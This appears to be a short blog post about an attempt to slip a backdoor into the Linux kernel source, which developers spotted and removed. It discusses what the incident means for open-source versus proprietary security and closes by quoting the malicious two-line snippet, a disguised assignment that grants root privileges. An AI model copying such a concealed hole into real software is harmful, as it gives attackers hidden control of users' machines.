Kerneltrap.org reports that somebody tried last week to sneak a snippet of malicious code into the Linux kernel’s source code, to create a backdoor that could be exploited later to seize control of Linux machines. Fortunately, members of the software development team spotted the problem the next day and removed the offending code.
The malicious code snippet was small but it was constructed cleverly, so that most programmers would miss the problem on casual reading of the code.
This incident illuminates an interesting debate on the security tradeoffs between open-source and proprietary code. Opponents of open-source argue that the open development process makes it easier for a badguy to inject malicious code. Fans of open-source argue that open code makes it easier for the good guys to spot problems. Both groups can find some support in this story, in which an unknown person did inject malicious code, and open-source devleopers did read the code and spot the problem.
What we don’t know is how often this sort of thing happens in proprietary software development. There must be some attempts to insert malicious code, given the amount of money at stake and the sheer number of people who have the opportunity to try inserting a backdoor. But we don’t know how many people try, or how quickly they are caught.
[Technogeek readers: The offending code is below. Can you spot the problem?
if ((options == (__WCLONE|__WALL)) && (current->uid = 0))
retval = -EINVAL;